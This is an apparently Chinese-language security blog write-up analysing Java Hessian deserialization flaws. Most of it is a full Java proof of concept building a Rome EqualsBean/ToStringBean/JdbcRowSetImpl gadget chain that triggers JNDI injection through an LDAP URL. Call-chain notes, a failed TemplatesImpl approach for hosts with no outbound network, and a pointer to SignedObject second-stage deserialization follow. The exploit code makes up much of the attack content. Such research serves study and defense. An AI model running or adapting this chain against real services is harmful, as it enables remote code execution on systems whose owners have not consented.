• 环境搭建


    关于 RPC:

    Remote Procedure Call Protocol,远程过程调用协议,和 RMI(Remote Method Invocation,远程方法调用)类似,都能通过网络调用远程服务,但 RPC 是以标准的二进制格式来定义请求的信息,可用实现跨语言和跨操作系统通讯。
    

    通讯过程:
    1.客户端发起请求,并按照 RPC 协议格式填充信息
    2.填充完毕后将二进制格式文件转化为流,通过传输协议进行传输
    3.服务端接收到流后,将其转换为二进制格式文件,并按照 RPC 协议格式获取请求信息并进行处理
    4.处理完毕后将结果按照 RPC 协议格式写入二进制格式文件中并返回
    

    maven 添加扩展:
        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>hessian</artifactId>
            <version>4.0.63</version>
        </dependency>
    
  • 漏洞分析


    漏洞的触发点:HessianInput#readObject,由于 Hessian 会加你个序列化的结果处理成一个 Map,所有序列化的结果的 bytes 的第一个 byte 总为 M(77)。
    image-20220515194006621
    接着调用 readMap 进行进一步解析,接着进入 getDeserializer,然后创建一个 HashMap 作为缓存,先将要反序列化的类作为 key 放入 HashMap 中
    image-20220515194948774
    这里会调用 HashMap.put 方法,结合之前分析过的 CC 链,后续调用的 hash 函数能触发任意类的 hashcode 方法。
    那么只需要找一条入口为 hashcode 的反序列化链即可。
    Rome
    XBean
    Resin
    SpringPartiallyComparableAdvisorHolder
    SpringAbstractBeanFactoryPointcutAdvisor
    
  • 打 Rome


    poc:
    package moonflower.hessian;
    
    import com.caucho.hessian.io.HessianInput;
    import com.caucho.hessian.io.HessianOutput;
    import com.caucho.hessian.io.ObjectNameDeserializer;
    import com.rometools.rome.feed.impl.EqualsBean;
    import com.rometools.rome.feed.impl.ToStringBean;
    import com.sun.rowset.JdbcRowSetImpl;
    
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    import java.io.Serializable;
    import java.lang.reflect.Array;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    
    public class Hessian_Rome {
    
        public static <T> byte[] serialize(T o) throws IOException {
            ByteArrayOutputStream bao = new ByteArrayOutputStream();
            HessianOutput output = new HessianOutput(bao);
            output.writeObject(o);
            System.out.println(bao.toString());
            return bao.toByteArray();
        }
    
        public static <T> T deserialize(byte[] bytes) throws IOException {
            ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
            HessianInput input = new HessianInput(bai);
            Object o = input.readObject();
            return (T) o;
        }
    
        public static void setValue(Object obj, String name, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(obj, value);
        }
    
        public static Object getValue(Object obj, String name) throws Exception {
            Field field = obj.getClass().getDeclaredField(name);
            field.setAccessible(true);
            return field.get(obj);
        }
    
        public static void main(String[] args) throws Exception {
            JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
            String url = "ldap://localhost:9999/EXP";
            jdbcRowSet.setDataSourceName(url);
    
            ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
            EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
    
            HashMap hashMap = makeMap(equalsBean, "1");
    
            byte[] s = serialize(hashMap);
            System.out.println(s);
            System.out.println((HashMap)deserialize(s));
        }
    
        // 用反射动态创建数组,防止在狗仔 gadget 的时候触发 put 方法导致 RCE。
        public static HashMap<Object, Object> makeMap (Object v1, Object v2) throws Exception {
            HashMap<Object, Object> s = new HashMap<>();
            setValue(s, "size", 2);
            Class<?> nodeC;
            try {
                nodeC = Class.forName("java.until.HashMap$Node");
            }
            catch (ClassNotFoundException e) {
                nodeC = Class.forName("java.util.HashMap$Entry");
            }
            Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
            nodeCons.setAccessible(true);
    
            Object tbl = Array.newInstance(nodeC, 2);
            Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
            Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
            setValue(s, "table", tbl);
            return s;
        }
    
    }
    

    Rome 的 rce 过程:
    image-20220515203116261
    进入触发点,接着调用 EqualBean 的 hashcode 方法
    image-20220515203358736
    接着会触发 ToStringBean 的 toString 方法(这里就有很多其它延申了,比如可以接一个 CC5)
    image-20220515203524747
    接着进入 JdbcRowSetImp 的 toString 方法,在其中会调用 JdbcRowSetImp 的 getter
    image-20220515204219256
    image-20220515204314905
    当调用到 getDatabaseMetaData 的时候,会进入 connect 方法,进而调用 lookup 触发 jndi 注入。
    image-20220515204531924
    image-20220515204649343
  • 不出网的失败打法


    参考 CC2,在 ToStringBean.toString() 的地方能调用任意的 getter,正常的思路是可以利用 TemplatesImpl 的 getOutputProperties 方法实现任意类加载,但这个思路在 Hessian 反序列化中是不行的!!!
    先回顾一下正常的 CC2,从 Transformer 开始,跟进到 getTransletInstance 中,并在其中实例化恶意 class。
    image-20220517142350927
    顺着调用栈向上找,恶意 class 的生成在 defineTransletClasses 中实现:
    image-20220517151748600
    注意这里的 _tfactory 是传入的 TransformerFactoryImpl(因为默认为 null,不传的话会直接触发异常)。
    如果在 Hessian 反序列化中用 TemplatesImpl 代替 ROME 中的 jndi 注入,会在 toString 中调用 TemplatesImpl 的 getOutputProperties,但这里重点关注传入的关键参数
    image-20220517143810922
    跟进具体的调用
    image-20220517144002313
    同样跟进到 defineTransletClasses 中,但这里的 _tfactory 却为空
    image-20220517152239480
    找一下 _tfactory 的定义发现 _tfactory 是用 transient 修饰的,序列化对象的时候,这个属性就不会序列化到指定的目的地中,所以最后为空,也合情合理。
    image-20220517152444869
    但 CC2 为什么可以?原因是 TemplatesImpl 的 readObject 的最后一句直接 new 了一个 _tfactory(这也是为什么虽然王传的大部分 CC2 都要给 _tfactory 传参但不传也行的原因),而直接拼 Rome 的链子不会用到原生的 readObject,所以也不会实例化这个 _tfactory。
    image-20220517152811270
  • 不出网的成功打法


    利用了 java.security.SignedObject ,直接打二次反序列化即可。
    image-20220517160228829
    具体的 payload 见 【HFCTF2022 ezchain】。
  • 参考文献


 

标签: none

添加新评论